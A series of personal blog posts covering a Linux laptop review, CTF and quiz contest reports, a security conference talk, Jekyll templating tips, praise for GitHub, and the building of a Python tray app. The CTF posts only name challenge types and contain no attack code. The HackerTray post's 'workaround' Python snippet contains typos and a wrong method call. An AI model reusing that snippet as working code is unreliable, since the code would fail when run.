<li>Linux Support (Just Ubuntu actually, but its nice to have a laptop that supports and comes with Linux pre-installed).</li>
<li>Intel HD 5200 Graphic Card. Even though the nVidia/ATI support has been getting better in Linux these days, I wanted a graphic card that I could use without worry, for both playing games, using webGL without having to worry about things like overheating and switching card modes (optimus/bumblebee and whatnot).</li>
<li>Haswell. Not many manufacturers are currently offering Haswell lineups, and System76 is one of the few with them in the market.</li>
</ul>
<p>The other few machines I did consider included the Apple MBP, Lenovo Ideapad, Dell Sputnik 13. The MBP was rejected because I wanted a Linux machine, and it was overly costly; the Ideapad had a touch screen, which I abhor; and finally the Sputnik is too expensive as well.</p>
<p>A few other machines were rejected because I was exclusively looking for a 14-inch screen, due in part to my experience with my previous bulky machine.</p>
<h2 id="hardware-review">Hardware Review</h2>
<p>The build quality of the Galago is above average, but its still a flimsy offering, when compared to the MBP or other business class offerings such as the Vostro. A lot of the Galago reviews on the internet talk about the defective keyboards, but I faced no such issues. It seems to have been fixed, and the keyboard has been iterated several times since, I think.</p>
<p>The IPS screen (1920x1080) is a real gem, and I’ve gotten used to watching everything in full HD these days. The laptop has 2 small fans on the lower side, and they hardly ever kick in, making it a quiet laptop. The only times it heats up much is when I’m playing demanding games or doing something GPU intensive. A few issues that I’ve actually faced with it include:</p>
<ul>
<li>The <code class="language-plaintext highlighter-rouge">Esc</code> key not responding to all presses. I have to hit it with a slightly extra pressure for each keypress to register. However, this is just a quirk I’ve come to accept, and work around. My muscle memory soon overtook and I’m now used to pressing it hard.</li>
<li>Missing Media keys. It does have the usual Mute, Volume, and the Play/Pause keys, but the next/previous media keys are missing on the keyboard.</li>
<li>The charger getting heated up (a lot). It even heats up when the charger is not connected to the laptop.</li>
<li>The inbuilt speaker quality is definitely not above average. I usually use my earphones with it, so its not much trouble to me anyway.</li>
<li>The “clickpad” becomes a “touchpad” in Windows, which means drag-drop becomes extremely uncomfortable if you’re not used to it. I’ve installed the official touchpad drivers in Windows from knowledge76, but I could not find a setting to use “clicks” instead of “touch”.</li>
</ul>
<p>As an aside, I really like the keyboard layout (I don’t like numeric keypads much) and the placement of Del-End keys, which is incidentally same as my previous laptop. I really dislike those layouts where you have to press a combination of Fn+Some key just to trigger Page Up/Down. A note to laptop manufacturers : <a href="http://arstechnica.com/staff/2014/01/stop-trying-to-innovate-keyboards-youre-just-making-them-worse/">Please stop messing with the keyboards</a>.</p>
<p>Having a branded Ubuntu key is also a good show-off at some places :) I also have to mention that the laptop is very silent. The fans rarely kick in, and I have faced no heating issues so far.</p>
<h2 id="software-side">Software Side</h2>
<p>Despite being built for Linux, I’ve still faced a few software issues on Linux. None of these are a deal-breaker though for me. The first time I realized that it wasn’t really built for Linux was when I booted using my external to Ubuntu 12.04 and the WiFi didn’t work. Apparently you need a combination of System 76 custom (though open-source) drivers and 14.04 on this machine to get the drivers to work. This is one of the reasons I haven’t downgraded to Elementary Luna (which is based on Ubuntu 12.04). The issues I’ve faced (along with my workarounds) include:</p>
<ul>
<li>Flash not working on Google Chrome Stable. I talked to System76 support over this, and I’m yet to get it working. As a workaround, I’ve been using Google Chrome Unstable (which I usually use anyway), and it detects flash fine.</li>
<li>WebGL support in Chrome is a bit sketchy. Chrome stable doesn’t detect the graphic card as supported, while the Chrome Unstable version did detect it as working for a while, but the graphic card was either removed from the whitelist, or added to the blacklist in a future update, making it non-working again. Currently, I’m using the “Disable WebGL Blacklist” flag from <code class="language-plaintext highlighter-rouge">chrome://flags</code> to get it working.</li>
<li>Webcam not being detected. This has gotten me a bit puzzled. It was working fine on the fresh Ubuntu 14.04 setup, but some driver issue is preventing it from working now. I think a dist-upgrade should fix it, but I’m not sure. I might try to re-install the <code class="language-plaintext highlighter-rouge">system76-driver</code> package if that doesn’t work. <strong>Update</strong>: It started working again after just a restart.</li>
<li>Another minor issue I face is that the brightness key on the keyboard (Fn+F8/F9) allows you to take the brightness level all the way down to <em>zero</em>. So you could make your screen pitch-black, with absolutely no idea how to get it back to normal. This happens only on ubuntu, though.</li>
</ul>
<h2 id="overall">Overall</h2>
<p>Despite its few quirks, I’m liking my new laptop. I’m enjoying gaming on it (on both Linux and Windows), and it has more than enough power to run whatever combination of VMs I want to.</p>
<h2 id="gaming">Gaming</h2>
<p>All the Linux games from my various Humble Bundle purchases are finally being put to good use. The only game that I haven’t been able to run is Oilrush, which doesn’t support Intel Graphic cards on Linux for some reason. Some of the games that I’ve tried and enjoy on Linux include:</p>
<ul>
<li>Mark of the ninja</li>
<li>The Swapper</li>
<li>Don’t Starve</li>
<li>Fez</li>
<li>Bit Trip Runner 2</li>
<li>Counter Strike: Source</li>
<li>Portal</li>
<li>Half-Life 2</li>
<li>Civilization 5</li>
<li>Trine 2</li>
<li>Minecraft</li>
</ul>
<p>Trine 2 does show some noticable lag on full settings, but its not supported on Intel drivers anyway. Rest of the games run wonderfully on full settings.</p>
<p>I haven’t tried gaming much on Windows, but I do play Blur (admittedly a 3 year old game) sometimes on it at the highest settings.</p>
<h2 id="specs">Specs</h2>
<p>The only thing I upgraded in my laptop was an increase in RAM from the default of 4GB to 8GB, primarily because I intend to run lots of VMs on this machine. The rest is same as the specs <a href="https://system76.com/laptops/model/galu1">on the official site</a> (scroll to bottom):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Processor: Intel(R) Core(TM) i7-4750HQ CPU @ 2.00GHz
RAM: Samsung, SODIMM DDR3 Synchronous 1600 MHz (0.6 ns), M471B5173QH0-YK0 (4GiB) x2
Graphic Card: Intel Iris Pro Graphics 5200 with 128 MB eDRAM, Crystal Well Integrated Graphics Controller
Hard Disk: Western Digital, WDC WD5000LPVX-2, 500GB (465GiB)
Memory: 8GB 204 pin Dual Channel DDR3 @ 1600 MHz (2x4GB)
Intel ME Version: 9.0.20.1447
</code></pre></div></div>
<p>If you’re interested in getting any further details about the laptop, feel free to <a href="/contact/">contact</a> me.</p>
Deloitte CCTC Wave III2014-06-03T00:00:00+00:00https://captnemo.in/blog/2014/06/03/cctc-wave-3<p>I was winner of the Deloitte CCTC Wave I, and a finalist for the Wave II.
It was natural I was participating this year as well. While the first year
involved a simple penetration test as the first round, and it was an abstract
submission in Wave II; this time it was a closed jeopardy-style CTF contest
between different teams from various colleges.</p>
<p>There were altogether more than 30 teams participating in the CTF. I was lucky
to have teammates like <a href="http://abhishekdas.com/">Abhishek Das</a>(CCTC Wave II Winner) and <a href="http://rkravi.com/">Ravi Kishore</a>
who endured through several challenges when I gave up.</p>
<p>We’ve published all challenges over on <a href="https://github.com/captn3m0/cctc3-solutions">GitHub</a> along with writeups and problems
being made available wherever we can.</p>
<p>The challenges ranged from very easy to difficult to absurd trivia. We topped
the round with the most number of points across the board, making sure we got
the +30 bonus for solving first on all but 2 challenges out of 13.</p>
<p>We’ll be leaving for Hyderabad for the finals in the first week of April. Wish us
luck, will you.</p>
<p><strong>Update</strong>: We won the final event at Hyderabad as well. More details (and a pic) on our blog post on SDSLabs <a href="https://blog.sdslabs.co/2014/05/deloitte-cctc">here</a>.</p>
BackdoorCTF and Quizzes2014-03-25T00:00:00+00:00https://captnemo.in/blog/2014/03/25/backdoor-and-quizzes<p>I recently hosted a Geek Quiz at my college along with <a href="https://www.facebook.com/giridaran">Giri</a>. The quiz
was mostly geek with some sports and pop-cult trivia. Here are the slides for
the quiz (both prelims and finals):</p>
<h3 id="geek-quiz-prelims">Geek Quiz Prelims</h3>
<script async="" class="speakerdeck-embed" data-id="78823f30958e0131cd82465820109070" data-ratio="1.33333333333333" src="//speakerdeck.com/assets/embed.js"></script>
<h3 id="geek-quiz-finals">Geek Quiz Finals</h3>
<script async="" class="speakerdeck-embed" data-id="d0e39860959001313c81768fd0aa6b5a" data-ratio="1.33333333333333" src="//speakerdeck.com/assets/embed.js"></script>
<p>Some audio/video files for the finals are up <a href="http://ge.tt/8O1nGbN1/">here</a>.</p>
<h2 id="backdoorctf-2014">BackdoorCTF 2014</h2>
<p>Last year, I was the coordinator for Backdoor CTF 2013, a jeopardy-style CTF
contest hosted by <a href="http://fb.me/SDSLabs">SDSLabs</a> under the aegis of Cognizance. This year,
I contributed 3 problems to the CTF. The problems were as follows:</p>
<ol>
<li><a href="https://backdoor-web200.herokuapp.com/">web200</a> - Timing Attack (<a href="https://github.com/backdoor-ctf/web200">Source</a>)</li>
<li><a href="https://backdoor-web250.herokuapp.com/">web250</a> - YAML Code Execution (<a href="https://github.com/backdoor-ctf/web250">Source</a>)</li>
<li><a href="https://backdoor-web100.herokuapp.com/">web100</a> - _ Template Code Execution (<a href="https://github.com/backdoor-ctf/web100">Source</a>)</li>
</ol>
<p>You can find writeups/solutions to the problems all over the internet and on <a href="https://ctftime.org/event/141/tasks/">ctftime</a>.
Hosting a CTF is always a humbling experience and it was great to see teams from
all over the world participating in backdoor. We hope to return next year with
even better challenges.</p>
<h2 id="cogni-geek-quiz">Cogni Geek Quiz</h2>
<p>After that I teamed up with Giri again (along with Sukun) for the Cogni Geek Quiz,
hosted by the winner of my quiz, <a href="https://www.facebook.com/TheDudeWhoKnocks">Vikram Rathore</a>. While we won the quiz
by a large margin (30 points), I managed to get my own tribute question wrong unfortunately.</p>
<p>However, it was a great experience involving some really nice questions. <em>Update</em>: The slides
are up at <a href="https://mega.co.nz/#F!nso0VaiK!IUBob8dqOM0UAD_Eti6DfA">mega</a>.</p>
<h2 id="colors--typefaces">Colors & Typefaces</h2>
<div class="colophon">
<div class="color" style="border-top: 20px solid #cbe86b">#cbe86b</div>
<div class="color" style="border-top: 20px solid #1c140d">#1c140d</div>
<div class="typeface"><b>Typeface</b>Oswald</div>
<div class="typeface"><b>Typeface</b>Lato</div>
<div class="clear"></div>
</div>
<div class="colophon">
<div class="color" style="border-top: 20px solid #2e2633">#2e2633</div>
<div class="color" style="border-top: 20px solid #99173c">#99173c</div>
<div class="typeface"><b>Typeface</b>Oswald</div>
<div class="typeface"><b>Typeface</b>Lato</div>
<div class="clear"></div>
</div>
My experience at nullcon 20142014-03-13T00:00:00+00:00https://captnemo.in/blog/2014/03/13/nullcon-experience<p>I was recently a speaker at <a href="http://nullcon.net/website/">nullcon 2014</a>, a premier infosec conference
in India. My talk was a re-hash of <a href="https://speakerdeck.com/captn3m0/a-security-analysis-of-browser-extensions">my earlier talk</a> at Deloitte CCTC-2
and was titled <em>“Browser Extension Security”</em>.</p>
<p>I applied for the CFP sometime in November with a copy of my talk, paper and
code I’d used. My application was reviewed and I was told, accepted under the
night-track on 13th February.</p>
<p>The <a href="https://speakerdeck.com/captn3m0/browser-extension-security">talk itself</a> covered browser security mechanisms, and where the
current state of art lies (Chrome) with respect to Browser Extensions. The talk
was pretty well received (even though I sweated a lot onstage), and a lot
of attendees came up to me to discuss it further after the talk.</p>
<p>The paper behind the talk, and the related source code can be found on <a href="https://github.com/captn3m0/nullcon2014/">GitHub</a>.
Create a new issue or send me an email in case you have any queries. ~The tool demo
I gave during the talk can be found at http://nullcon.captnemo.in~ (Not available anymore). Note, however
that it currently uses cached data to check for permissions, and is not a LIVE tool.</p>
<p>nullcon was my first conference, and I’m glad to say I enjoyed it very much. From
the great hosts to the amazing parties, and all the free booze, I loved it all.
I made a lot of friends, and I plan on keeping in touch. The networking level
was amazing at the conference, and I was happy to get in touch with so many guys
in the industry, so to speak.</p>
<p>A lot of people queried me about future research on the topic, and while I currently
do not have enough time to pursue it, its on my radar of things to do. I’m also
thinking of getting in touch with the Chrome Security Team with my research.</p>
<p>As an aside, a big thanks to <a href="https://twitter.com/rushil92">Rushil</a> for helping me in the first version
of the paper for CCTC. It won’t have been possible without him.</p>
<p>##Some Clicks</p>
<iframe class="imgur-album" width="100%" height="550" frameborder="0" src="http://imgur.com/a/MCo8s/embed"></iframe>
<p>I’m still waiting on receiving official clicks from nullcon. Will update this
post when I get my hands on them.</p>
Using Jekyll optimally without plugins2014-01-20T00:00:00+00:00https://captnemo.in/blog/2014/01/20/pluginless-jekyll<p>If you’re a programmer, by now you’ve surely heard of the various static-site
compilers that are taking over the world. My pick of choice is Jekyll, (about
which I’ve <a href="/blog/2011/09/19/jekyll/">blogged earlier</a> as well) mostly because
it is the default supported tool for the GitHub Pages service. Read <a href="/blog/2011/09/19/jekyll/">my earlier
blog post</a> if you don’t know about Static Site Generators.</p>
<p>Using Jekyll means that it is far more easier for me to host my blog on GitHub
Pages by just writing down posts in plain markdown. Markdown, for those of you
don’t know is a simple markup language that uses an email-like syntax that is
then compiled to HTML.</p>
<p>A lot of power in Jekyll comes from its various plugins, but I’ve always been
vary of using them as the default host for Jekyll (GitHub Pages) disables
all plugins and runs in safe mode. Plugins are an awesome tool to have, but they
are only good if you are hosting the site on your own machines. I’m not shying
away from using them but want to point out that plain-Jekyll itself is powerful
enough to do most of the tasks. What follows are some examples of how to use
Jekyll optimally.</p>
<h2 id="data-files">Data Files</h2>
<p>This is a <a href="http://jekyllrb.com/docs/datafiles/">recent addition</a> in Jekyll that allows you to use
data noted down in YAML format inside the <code class="language-plaintext highlighter-rouge">_data</code> directory that is accessible
to you anywhere using the <code class="language-plaintext highlighter-rouge">site.data</code> prefix. For instance, I recently shifted
the <a href="http://team.sdslabs.co/">SDSLabs Team Page</a> from plain HTML to Jekyll, and I used a data file
to define all the required elements that are shown for every user. The data file
looks something like this (<code class="language-plaintext highlighter-rouge">_data/members.yml</code>):</p>
<figure class="highlight"><pre><code class="language-yaml" data-lang="yaml"><span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Abhay</span><span class="nv"> </span><span class="s">Rana"</span>
<span class="na">pic</span><span class="pi">:</span> <span class="s2">"</span><span class="s">abhay.jpg"</span>
<span class="na">links</span><span class="pi">:</span>
<span class="na">Facebook</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://facebook.com/capt.n3m0"</span>
<span class="na">Twitter</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://twitter.com/captn3m0"</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Team</span><span class="nv"> </span><span class="s">SDSLabs"</span>
<span class="na">pic</span><span class="pi">:</span> <span class="s2">"</span><span class="s">sdslabs.jpg"</span>
<span class="na">links</span><span class="pi">:</span>
<span class="na">Facebook</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://facebook.com/SDSLabs"</span>
<span class="na">Twitter</span><span class="pi">:</span> <span class="s2">"</span><span class="s">https://twitter.com/sdslabs"</span></code></pre></figure>
<p>Then, I iterate over this data using the following syntax:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html">{% for member in site.data.members %}
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"pics/{{member.pic}}"</span> <span class="na">alt=</span><span class="s">"{{member.name}}"</span><span class="nt">></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"img-bar"</span><span class="nt">></span>
<span class="nt"><span</span> <span class="na">class=</span><span class="s">"img-title"</span><span class="nt">></span>{{member.name}}<span class="nt"></span></span>
<span class="nt"><span</span> <span class="na">class=</span><span class="s">"img-icons"</span><span class="nt">></span>
{% for link in member.links %}
<span class="c"><!-- link[0] holds the hash key = facebook/twitter --></span>
<span class="nt"><a</span> <span class="na">href=</span><span class="s">"{{link[1]}}"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"assets/{{link[0]|downcase}}.png"</span><span class="nt">></a></span>
<span class="c"><!-- link[1] holds the hash value--></span>
{% endfor %}
<span class="nt"></span></span>
<span class="nt"></div></span>
{% endfor %}</code></pre></figure>
<p>Earlier, you could have achieved the same thing by adding this data to your
<code class="language-plaintext highlighter-rouge">_config.yml</code> file, but the <code class="language-plaintext highlighter-rouge">_data</code> folder allows you to store data properly
in various files, if needed.</p>
<h2 id="liquid-filters">Liquid Filters</h2>
<p>Since Jekyll relies on <a href="http://liquidmarkup.org/" title="Liquid Markup Language">Shopify’s Liquid</a> language for templating
purposes, it has a very large list of supported functions, filters and markup
tools ready for you to use. For instance, while working on the
<a href="http://sdslabs.co/">SDSLabs Portfolio</a>, I used the split and downcase filter to convert
a known list of categories to single word objects that could be used as file
names.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html">{% for category in site.data.category %}
<span class="c"><!-- category is something like "Web Development"--></span>
{% assign category_name = category|split: ' '|first|downcase %}
<span class="nt"><a</span> <span class="na">href=</span><span class="s">"/category/{{category_name}}.html"</span><span class="nt">></span>{{ category }}<span class="nt"></a></span>
{% endfor %}</code></pre></figure>
<p>The above snippet converts a string like “Web Development” to a smaller string
“web” that can be used by us for filenames much more easily.</p>
<p>You can check out more liquid filters <a href="https://docs.shopify.com/themes/liquid-basics/output">over here</a>. These include
things like <code class="language-plaintext highlighter-rouge">plus</code>, <code class="language-plaintext highlighter-rouge">times</code>, <code class="language-plaintext highlighter-rouge">reverse</code>, and even <code class="language-plaintext highlighter-rouge">md5</code> (helpful for gravatars).</p>
<h2 id="code-highlighting">Code Highlighting</h2>
<p>Markdown is really awesome, but it lacks Synax Highlighting for code. Jekyll
uses <a href="http://pygments.org/">pygments</a> to support syntax highlighting for various languages.
To highlight a piece of code, you just use the following syntax:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">{% highlight ruby %}
def show
@widget = Widget(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @widget }
end
end
{% endhighlight %}</code></pre></figure>
<p>And the output will look like this:</p>
<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="k">def</span> <span class="nf">show</span>
<span class="vi">@widget</span> <span class="o">=</span> <span class="no">Widget</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:id</span><span class="p">])</span>
<span class="n">respond_to</span> <span class="k">do</span> <span class="o">|</span><span class="nb">format</span><span class="o">|</span>
<span class="nb">format</span><span class="p">.</span><span class="nf">html</span> <span class="c1"># show.html.erb</span>
<span class="nb">format</span><span class="p">.</span><span class="nf">json</span> <span class="p">{</span> <span class="n">render</span> <span class="ss">json: </span><span class="vi">@widget</span> <span class="p">}</span>
<span class="k">end</span>
<span class="k">end</span></code></pre></figure>
<h2 id="custom-permalinks">Custom Permalinks</h2>
<p>Everyone knows about handling the blog posts permalink using the permalinks
setting in <code class="language-plaintext highlighter-rouge">_config.yml</code>. But did you know that you can provide custom
permalink to any page in your site? For instance, the Jekyll documentation site
uses the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>permalink: /docs/config/
</code></pre></div></div>
<p>in the frontmatter for the file <code class="language-plaintext highlighter-rouge">docs/configuration.md</code>. The file would have
been published to <code class="language-plaintext highlighter-rouge">docs/configuration.html</code> by default, but the permalink in the
file forces it to be published to <code class="language-plaintext highlighter-rouge">/docs/config/index.html</code>. Its a really nice
setting that allows you to customize the post url for any particular post.</p>
<h2 id="raw-liquid-tag">Raw Liquid Tag</h2>
<p>In the rare case that you want to use liquid-like syntax somewhere, say you are
using Handlebars (which uses {{{variable}}} to echo variables).
You can use the following syntax:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{% raw %}
Here is some {{mustache}}
{% endraw %}
</code></pre></div></div>
<p>In fact, I’ve used the raw tags a lot in this blog post to escape all the liquid
portions. You can see the <a href="https://github.com/Shopify/liquid/wiki/Liquid-for-Designers">liquid documentation</a> for more help.</p>
<p>Side Note: Writing the endraw tag in liquid is <a href="http://blog.slaks.net/2013-06-10/jekyll-endraw-in-code/">really, really hard</a>.</p>
<h2 id="embedding-htmlcss-inside-markdown">Embedding HTML/CSS inside markdown</h2>
<p>Sometimes, there are some things that just can’t be done with markdown. For
instance, if you need to use a custom tag, or need to write some css within the
markdown document for some reason, there is always a way: just embed content
inside <code class="language-plaintext highlighter-rouge"><div></code> tags. This is not a Jekyll feature, but an implementation detail
of Markdown itself, but I think its hacky enough to get a mention here.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Writing **markdown** here
<div>
<style>
body{
margin-top: 10px;
}
</style>
</div>
Back to _Markdown_.
</code></pre></div></div>
<p>Anything inside a <code class="language-plaintext highlighter-rouge"><div></code> tag is untouched by Markdown, and is rendered as it is.</p>
On GitHub2013-12-25T00:00:00+00:00https://captnemo.in/blog/2013/12/25/on-github<p>I am an Internet addict. And the website I’m most addicted to is called GitHub. GitHub is a social code hosting website that is totally awesome. Not your general run-of-the-mill awesome, but rather ass-kicking best-thing-in-the-world awesome. If GitHub was a ninja, it would be Po, defeating the evil clutches of SourceForge.</p>
<p>When Linux was released a couple of decades ago, it was hosted on a university FTP server. Today, the days of FTP are way past, and unless your code is hosted on a code-sharing website like GitHub, it is as good as dead. The last decade has seen an explosive grown in software and the open source movement. Things like GitHub, Linux, Android, Facebook have been made possible due to the combine efforts of millions across the globe following the Unix philosophy of doing one thing well.</p>
<p>Ahh, I digress. The point I’m trying to make is that it is very hard to explain to a layman how important GitHub has been to the software community. It has been used as a collaboration platform for writers, law makers, governments, programmers, and even musicians. People have used its issue tracking feature to even plan weddings. And above all, people adore GitHub. It is one of the few startups that have been accorded God status in the community.</p>
<p>The question here is what makes GitHub tick? As the largest hosting site for code, it obviously makes a huge impact just by virtue of being there. But its tide of features and innovative progression had made it a darling of all. For instance, their 1 click to fork feature has allowed people to contribute to any project so much easier.</p>
<p>GitHub has an amazing User Experience, making sure it works perfectly on all devices large or small. Their amazing support makes sure all of its users are happy as possible. Their regular meetups makes sure that GitHub is invested in the software community themselves. And their GitHub Store lets people invest back in GitHub by romoting them via Tees, stickers and even laptop sleeves.</p>
<p>My personal experience with GitHub has been overwhelmingly positive. People have stood beside GitHub even as they faced major issues, and for me that is indicative of a trust in GitHub that no money can buy. The GitHub API (which I’ve used more than once) lets developers create their own apps on top of GitHub which others can use to create even more awesome things.</p>
<p>For me GitHub is more than just a coding website. It is a testament to creativity and the Hacker Way, reminding me every day that anything is possible.</p>
Making HackerTray2013-11-28T00:00:00+00:00https://captnemo.in/blog/2013/11/28/making-hackertray<p>A few days back, I found the excellent <a href="http://hackerbarapp.com/">HackerBarApp</a> via Hacker News. Hacker News,
for those of you who don’t know, is tech news website run by <a href="http://ycombinator.com">YCombinator</a>.
Hacker Bar was the simplest way of accessing HN stories that I’d ever seen. Unfortunately,
it was only for Mac (made using <a href="http://www.rubymotion.com/">rubymotion</a>) and even though the source was available,
it was of no use to me as a Linux User.</p>
<p>I decided to make a clone of Hacker Bar that would work on Linux. My first choice of the
stack was <a href="https://github.com/rogerwang/node-webkit">node-webkit</a>, an application framework that allows you to build cross-platform
applications using HTML, CSS, JS, and modules from the node.js ecosystem. After reading a lot
about node-webkit, I figured out that building this application in node-webkit (as it stands)
would not be possible. Or rather, it would not work under Ubuntu and its derivatives because
of lacking appindicator support in <a href="https://github.com/rogerwang/node-webkit/issues/1087">node-webkit</a>. More details <a href="https://groups.google.com/d/topic/node-webkit/FeX7YYwK8jI/discussion">here</a>.</p>
<p>The next obvious language and stack of choice was Python + Gtk. I’d already played a little bit
with Gtk and Python some time back, so I knew the basics. But I’d never build a real application
with PyGtk, just toys and small scripts. I found a <a href="http://www.eurion.net/python-snippets/snippet/Create%20an%20Application%20Indicator.html">basic skeleton app</a>
that was written for AppIndicator and modified it somewhat to form the base of HackerTray.</p>
<p>The next challenge I faced was keeping the check boxes always checked despite of any number
of clicks after the first. That is, we don’t want any menu item to be “un-checked” at
any moment. A basic idea is to do this (partial code):</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">open</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">widget</span><span class="p">):</span>
<span class="k">if</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">get_active</span><span class="p">()</span> <span class="o">==</span> <span class="bp">False</span><span class="p">):</span>
<span class="n">widget</span><span class="p">.</span><span class="n">set_active</span><span class="p">()</span>
<span class="n">webbrowser</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">url</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">addItem</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
<span class="c1">#create a new CheckMenuItem (i)
</span> <span class="n">i</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'activate'</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span></code></pre></figure>
<p>However, this does not work as expected, because the <code class="language-plaintext highlighter-rouge">widget.set_active()</code> call also results
in the <code class="language-plaintext highlighter-rouge">activate</code> event being fired, which ultimately calls <code class="language-plaintext highlighter-rouge">open</code>. This means on a click to
an unchecked menuItem, the open function is called twice. This results in the browser opening
the link twice.</p>
<p>As a workaround, I disabled the event handler in case it is a checked menuItem:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">open</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">widget</span><span class="p">):</span>
<span class="k">if</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">set_active</span><span class="p">()</span> <span class="o">==</span> <span class="bp">False</span><span class="p">)</span>
<span class="n">wiget</span><span class="p">.</span><span class="n">disconnect</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">signal_id</span><span class="p">)</span>
<span class="n">widget</span><span class="p">.</span><span class="n">set_active</span><span class="p">(</span><span class="n">true</span><span class="p">)</span>
<span class="n">widget</span><span class="p">.</span><span class="n">signal_id</span> <span class="o">=</span> <span class="n">widget</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'activate'</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span>
<span class="n">webbrowser</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="n">widget</span><span class="p">.</span><span class="n">url</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">addItem</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">item</span><span class="p">):</span>
<span class="c1">#create a new CheckMenuItem (i)
</span> <span class="n">i</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'activate'</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span>
<span class="n">i</span><span class="p">.</span><span class="n">signal_id</span> <span class="o">=</span> <span class="n">i</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'activate'</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="nb">open</span><span class="p">)</span></code></pre></figure>
<p>The next thing I worked on was a persistent memory for the app. In a nutshell, I needed to
make sure that the tick on an item remained there, even if the app was restarted. This meant
writing a list of all the “viewed” items into a file. After looking at <a href="http://docs.python.org/lib/module-shelve.html">shelve</a> for a
bit, I just <a href="https://github.com/captn3m0/hackertray/commit/167397e51f665847400617935653027ebba0b396">rolled my own implementation</a>
, based on storing the data into <code class="language-plaintext highlighter-rouge">~/.hackertray.json</code> file.</p>
<p>After that I worked on packaging the app into a python package, so that it could be easily installed.
The <a href="https://python-packaging.readthedocs.io/en/latest/">python packaging tutorial</a> was an easy to use guide
that let me <a href="https://github.com/captn3m0/hackertray/commit/6ca735ea089d9189f152612ed016d31d72f9c36b">create the package</a>
easily and push it to the <a href="https://pypi.python.org/pypi/hackertray/">Python Package Index</a>. A few issues in the package
were found, and were fixed quickly thanks to <a href="https://github.com/captn3m0/hackertray/pull/7">the pull request</a> by <a href="https://github.com/brunal">@brunal</a>.</p>
<p>After improving the README a bit, I posted about it on Hacker News, where it failed to get any traction. I re-tried with a link
to the HackerTray website, and that fell flat as well. It was on the next day, when I <a href="https://news.ycombinator.com/item?id=6819042">posted it to HN</a>
for the third time, that it took off. After 50 or so upvotes, I found that my instance refused to run because it had
hit the API Rate Limit on the excellent <a href="https://node-hnapi.herokuapp.com/">node-hnapi</a>. I quickly <a href="https://github.com/captn3m0/hackertray/commit/8f0b08137b6c4b05ebe63a33029a36c068cfbc05">pushed a fix</a>
that used a list of servers to hit as fallback in case it crossed the Rate Limits.</p>
<p>After a lot of feedback from HN, I started work on a <code class="language-plaintext highlighter-rouge">node-webkit</code> based clone of hackertray for Windows. I should be able to release
it in a few more days, if nothing else crops up. Keep watching this space for info. If you have any queries, just <a href="https://github.com/captn3m0/hackertray/issues/new">file an issue on GitHub</a>
or <a href="mailto:[email protected]">contact me</a>.</p>
Aboard the Nautilus2013-09-21T00:00:00+00:00https://captnemo.in/blog/2013/09/21/aboard-the-nautilus<p>I’d done a <a href="http://captnemo.in/blog/2009/12/04/nautilus-behind-the-curtains/">post</a> on this a long time back (2009), detailing
what all softwares I use on a daily basis. This
is an update to that post.</p>
<p>Since the last post, I’ve moved on to using Linux, using
Elementary OS as my primary OS. Over the time period this post was written,
I’ve shifted from using Cinnamon to Openbox and finally
to elementaryOS’s pantheon as my Desktop Manager. I’m thinking of switching
to Arch Linux, just to get a faster experience. I use
Synapse as my application launcher, because its much faster
than anything else out there.</p>
<p>For most of my web browsing needs, I rely on Google Chrome Stable
and a daily build of Chromium (v31 as of now) for most of my work.
I switch between them all the time. I use Firefox (stable) only to
test out my projects from time to time.</p>
<p>The current editor I use is Sublime Text. It is
everything you need, and much more. I’m still to
get started using its build system, and its
plethora of packages; but its still an excellent
choice for a daily use editor. On the command line, I use
Vim, git (with <a href="https://github.com/ndbroadbent/scm_breeze" title="Faster Git Shortcuts">SCM Breeze</a>), <a href="https://github.com/clvv/fasd" title="Command Line Booster">fasd</a> and <a href="https://github.com/jonas/tig" title="Excellent Git CLI">tig</a>,
which is an excellent git interface on the command line.</p>
<p>I listen to music on my own browser-based music
player, called <a href="https://sdslabs.co.in/muzi" title="Link works only inside IITR">Muzi</a>, YouTube and GrooveShark.</p>
